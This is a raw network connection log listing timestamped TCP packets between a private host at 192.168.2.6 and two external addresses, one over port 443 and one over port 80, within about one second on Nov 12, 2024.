Nov 12, 2024 17:07:48.655224085 CET	443	49894	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.655335903 CET	443	49894	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.655386925 CET	49894	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.655749083 CET	49894	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.655749083 CET	49894	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.655770063 CET	443	49894	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.655780077 CET	443	49894	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.659718037 CET	49898	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.659749031 CET	443	49898	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.659912109 CET	49898	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.660433054 CET	49898	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.660444021 CET	443	49898	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.671978951 CET	443	49892	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.672007084 CET	443	49892	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.672051907 CET	443	49892	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.672118902 CET	49892	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.672564030 CET	49892	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.672581911 CET	443	49892	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.672595978 CET	49892	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.672601938 CET	443	49892	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.680381060 CET	49899	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.680404902 CET	443	49899	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.680737972 CET	49899	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.680867910 CET	49899	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.680879116 CET	443	49899	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.687702894 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.687752008 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.687793970 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.687856913 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.687869072 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.687869072 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.687869072 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.687932014 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.687937021 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.687949896 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.688011885 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.688011885 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.688498974 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.688559055 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.688572884 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.688605070 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.688631058 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.688837051 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.688875914 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.688889980 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.688900948 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.688937902 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.722248077 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.722285986 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.722302914 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.722340107 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.722368002 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.722677946 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.722781897 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.722914934 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.722953081 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.748625040 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.748646975 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.748716116 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.748737097 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.748753071 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.748779058 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.807250977 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.807265043 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.807329893 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.807728052 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.807746887 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.807759047 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.807782888 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.807815075 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.807929039 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.807941914 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.807982922 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.808070898 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.808083057 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.808094978 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.808125973 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.808140039 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.808459997 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.808504105 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.808530092 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.808541059 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.808610916 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.841896057 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.841931105 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.841943979 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.841970921 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.841970921 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.842155933 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.842410088 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.842430115 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.842997074 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.867130041 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.867150068 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.867216110 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.867243052 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.867289066 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.868694067 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.868710041 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.868774891 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.868791103 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.869061947 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.926827908 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.926881075 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.926889896 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.926944971 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.927000046 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.927033901 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.927059889 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.927095890 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.927140951 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.927411079 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.927422047 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.927433014 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.927447081 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.927480936 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.927496910 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.927572966 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.927757978 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.928014040 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.928064108 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.928065062 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.928076029 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.928101063 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.928119898 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.961599112 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.961622000 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.961673021 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.961709976 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.961946964 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.961992979 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.962002993 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.962016106 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.962038994 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.962058067 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.962078094 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.987205982 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.987234116 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.987293959 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.987337112 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.987360001 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.987375975 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.998250961 CET	443	49895	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.998779058 CET	49895	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.998796940 CET	443	49895	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.999336004 CET	49895	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.999341011 CET	443	49895	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.046478987 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.046494961 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.046514988 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.046550035 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.046574116 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.046577930 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.046590090 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.046607018 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.046643972 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.046931982 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.046977997 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.047028065 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.047039032 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.047086000 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.047241926 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.047287941 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.047293901 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.047348976 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.047635078 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.047677040 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.047684908 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.047687054 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.047723055 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.047734022 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.081211090 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.081269026 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.081280947 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.081295013 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.081331968 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.104712963 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.104772091 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.104782104 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.104795933 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.104855061 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.104860067 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.104911089 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.109221935 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.109245062 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.109297037 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.109327078 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.109360933 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.109380960 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.109857082 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.109875917 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.109914064 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.109930038 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.109955072 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.109967947 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.136876106 CET	443	49895	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.136938095 CET	443	49895	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.137139082 CET	49895	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.137180090 CET	49895	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.137192011 CET	443	49895	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.137200117 CET	49895	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.137207031 CET	443	49895	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.140346050 CET	49900	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.140389919 CET	443	49900	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.140842915 CET	49900	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.140842915 CET	49900	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.140875101 CET	443	49900	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.165848017 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.166009903 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.166057110 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.166069031 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.166101933 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.166110039 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.166114092 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.166126013 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.166143894 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.166172981 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.166403055 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.166414022 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.166522980 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.166553974 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.166618109 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.166697025 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.166740894 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.166749954 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.166841030 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.166912079 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.166924000 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.166965961 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.200598001 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.200645924 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.200658083 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.200665951 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.200700998 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.200700998 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.200841904 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.200855017 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.200891972 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.200917006 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.200937986 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.200951099 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.200963020 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.200978041 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.201003075 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.228960991 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.228979111 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.229033947 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.229065895 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.229080915 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.229113102 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.230194092 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.230226994 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.230262995 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.230268002 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.230298996 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.230308056 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.230372906 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.231246948 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.231261969 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.285815954 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.285840034 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.285852909 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.285903931 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.285914898 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.285926104 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.285931110 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.285986900 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.285986900 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.286166906 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.286178112 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.286189079 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.286232948 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.287219048 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.287245989 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.287257910 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.287271023 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.287292957 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.320327044 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.320369005 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.320380926 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.320400953 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.320422888 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.320422888 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.320462942 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.320518970 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.320533037 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.320573092 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.320739985 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.320916891 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.320929050 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.320939064 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.320962906 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.320985079 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.387914896 CET	443	49897	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.388381004 CET	49897	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.388413906 CET	443	49897	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.388967991 CET	49897	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.388974905 CET	443	49897	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.405590057 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.405630112 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.405642986 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.405711889 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.405761003 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.405772924 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.405926943 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.405991077 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.405993938 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.406007051 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.406049013 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.406759024 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.406806946 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.406817913 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.406872034 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.438376904 CET	443	49898	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.438848972 CET	49898	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.438884974 CET	443	49898	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.439333916 CET	49898	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.439342022 CET	443	49898	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.440129995 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.440145969 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.440156937 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.440202951 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.440248966 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.440299988 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.440311909 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.440351009 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.440439939 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.440545082 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.440788031 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.440830946 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.440835953 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.440865993 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.441035032 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.441046953 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.441057920 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:49.441078901 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.441097975 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:49.464365959 CET	443	49899	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:49.465526104 CET	49899	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:49.465544939 CET	443	49899	13.107.246.45	192.168.2.6
